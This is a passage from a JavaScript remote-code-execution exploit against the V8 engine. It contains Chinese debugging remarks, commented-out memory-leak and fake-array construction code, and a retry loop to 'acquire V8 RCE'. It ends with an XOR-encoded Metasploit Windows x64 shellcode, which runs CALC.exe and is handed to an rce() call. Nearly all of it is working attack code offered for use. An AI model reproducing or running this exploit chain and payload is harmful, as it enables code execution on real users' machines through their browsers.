00000107`0834acf0 08002205 0000000a 0000266e 0834ac81
不知为何这种组织方式不稳定,可能是还在NewSpace?
*/
/*
let arr = new Array(128);
for (i = 0; i < 10 ** 5; i += 1) leak_array_map(true, arr);
var res = leak_array_map(true, arr);
double_array_map_properties = res[1];
let double_array_map = f2i(double_array_map_properties).low;
console.log('double array map : 0x' + double_array_map.toString(16));
let double_array_properties = f2i(double_array_map_properties).hi;
console.log('double array properties : 0x' + double_array_properties.toString(16));
double_array_element_length = res[0];
let double_array_element = f2i(double_array_element_length).low;
console.log('double array element type : 0x' + double_array_element.toString(16));
let double_array_length = f2i(double_array_element_length).hi;
console.log('double array length : 0x' + double_array_length.toString(16));
*/
//why not working?
/*
for (i = 0; i < 10 ** 5; i++) read_double_array_map(true);
let double_array_header = read_double_array_map(true);
double_array_map_properties = double_array_header;
let double_array_map = f2i(double_array_map_properties).low;
console.log('double array map : 0x' + double_array_map.toString(16));
let double_array_properties = f2i(double_array_map_properties).hi;
console.log('double array properties : 0x' + double_array_properties.toString(16));
evil = null;
victim = null;
force_gc();
for (i = 0; i < 10 ** 5; i++) read_double_array_elements(true); //memory layout is different
double_array_header = read_double_array_elements(true);
double_array_element_length = double_array_header;
let double_array_element = f2i(double_array_element_length).low;
console.log('double array element type : 0x' + double_array_element.toString(16));
let double_array_length = f2i(double_array_element_length).hi;
console.log('double array length : 0x' + double_array_length.toString(16));
*/
//%DebugPrint(evil);
//%DebugPrint(victim);
/*
var fake_array_container = new Array(0x8);
fake_array_container[0] = 3.512700564088504e-303; //type as double array
fake_array_container[1] = i2f(double_array_map, double_array_properties);
fake_array_container[2] = i2f(SMI_addrof_fake_array_container, 0x2);
fake_array_container[3] = i2f(double_array_element, 0x2);
fake_array_container[4] = 0.0;
*/
}
return this;
}
var niubi = many_args();
let failed_times = 0;
while (niubi == null) {
console.log('failed to acquire V8 RCE, retrying...');
niubi.cleanup();
niubi = null;
force_gc();
niubi = many_args();
failed_times++;
if (failed_times > 5) {
console.log('too many failed attempts, exiting...')
break;
}
}
/*
* windows/x64/exec - 326 bytes
* https://metasploit.com/
* Encoder: x64/xor_dynamic
* VERBOSE=false, PrependMigrate=false, EXITFUNC=process,
* CMD=CALC.exe
*/
var shellcode =
[ 0xeb ,0x27 ,0x5b ,0x53 ,0x5f ,0xb0 ,0xf8 ,0xfc ,0xae ,0x75 ,0xfd ,0x57 ,0x59 ,0x53 ,0x5e
,0x8a ,0x06 ,0x30 ,0x07 ,0x48 ,0xff ,0xc7 ,0x48 ,0xff ,0xc6 ,0x66 ,0x81 ,0x3f ,0xdd ,0x33
,0x74 ,0x07 ,0x80 ,0x3e ,0xf8 ,0x75 ,0xea ,0xeb ,0xe6 ,0xff ,0xe1 ,0xe8 ,0xd4 ,0xff ,0xff
,0xff ,0x07 ,0xf8 ,0xfb ,0x4f ,0x84 ,0xe3 ,0xf7 ,0xef ,0xc7 ,0x07 ,0x07 ,0x07 ,0x46 ,0x56
,0x46 ,0x57 ,0x55 ,0x56 ,0x51 ,0x4f ,0x36 ,0xd5 ,0x62 ,0x4f ,0x8c ,0x55 ,0x67 ,0x4f ,0x8c
,0x55 ,0x1f ,0x4f ,0x8c ,0x55 ,0x27 ,0x4f ,0x8c ,0x75 ,0x57 ,0x4f ,0x08 ,0xb0 ,0x4d ,0x4d
,0x4a ,0x36 ,0xce ,0x4f ,0x36 ,0xc7 ,0xab ,0x3b ,0x66 ,0x7b ,0x05 ,0x2b ,0x27 ,0x46 ,0xc6
,0xce ,0x0a ,0x46 ,0x06 ,0xc6 ,0xe5 ,0xea ,0x55 ,0x46 ,0x56 ,0x4f ,0x8c ,0x55 ,0x27 ,0x8c
,0x45 ,0x3b ,0x4f ,0x06 ,0xd7 ,0x8c ,0x87 ,0x8f ,0x07 ,0x07 ,0x07 ,0x4f ,0x82 ,0xc7 ,0x73
,0x60 ,0x4f ,0x06 ,0xd7 ,0x57 ,0x8c ,0x4f ,0x1f ,0x43 ,0x8c ,0x47 ,0x27 ,0x4e ,0x06 ,0xd7
,0xe4 ,0x51 ,0x4f ,0xf8 ,0xce ,0x46 ,0x8c ,0x33 ,0x8f ,0x4f ,0x06 ,0xd1 ,0x4a ,0x36 ,0xce
,0x4f ,0x36 ,0xc7 ,0xab ,0x46 ,0xc6 ,0xce ,0x0a ,0x46 ,0x06 ,0xc6 ,0x3f ,0xe7 ,0x72 ,0xf6
,0x4b ,0x04 ,0x4b ,0x23 ,0x0f ,0x42 ,0x3e ,0xd6 ,0x72 ,0xdf ,0x5f ,0x43 ,0x8c ,0x47 ,0x23
,0x4e ,0x06 ,0xd7 ,0x61 ,0x46 ,0x8c ,0x0b ,0x4f ,0x43 ,0x8c ,0x47 ,0x1b ,0x4e ,0x06 ,0xd7
,0x46 ,0x8c ,0x03 ,0x8f ,0x4f ,0x06 ,0xd7 ,0x46 ,0x5f ,0x46 ,0x5f ,0x59 ,0x5e ,0x5d ,0x46
,0x5f ,0x46 ,0x5e ,0x46 ,0x5d ,0x4f ,0x84 ,0xeb ,0x27 ,0x46 ,0x55 ,0xf8 ,0xe7 ,0x5f ,0x46
,0x5e ,0x5d ,0x4f ,0x8c ,0x15 ,0xee ,0x50 ,0xf8 ,0xf8 ,0xf8 ,0x5a ,0x4f ,0xbd ,0x06 ,0x07
,0x07 ,0x07 ,0x07 ,0x07 ,0x07 ,0x07 ,0x4f ,0x8a ,0x8a ,0x06 ,0x06 ,0x07 ,0x07 ,0x46 ,0xbd
,0x36 ,0x8c ,0x68 ,0x80 ,0xf8 ,0xd2 ,0xbc ,0xf7 ,0xb2 ,0xa5 ,0x51 ,0x46 ,0xbd ,0xa1 ,0x92
,0xba ,0x9a ,0xf8 ,0xd2 ,0x4f ,0x84 ,0xc3 ,0x2f ,0x3b ,0x01 ,0x7b ,0x0d ,0x87 ,0xfc ,0xe7
,0x72 ,0x02 ,0xbc ,0x40 ,0x14 ,0x75 ,0x68 ,0x6d ,0x07 ,0x5e ,0x46 ,0x8e ,0xdd ,0xf8 ,0xd2
,0x44 ,0x46 ,0x4b ,0x44 ,0x29 ,0x62 ,0x7f ,0x62 ,0x07 ,0xdd ,0x33];
if (niubi != null) {
niubi.rce(shellcode);
}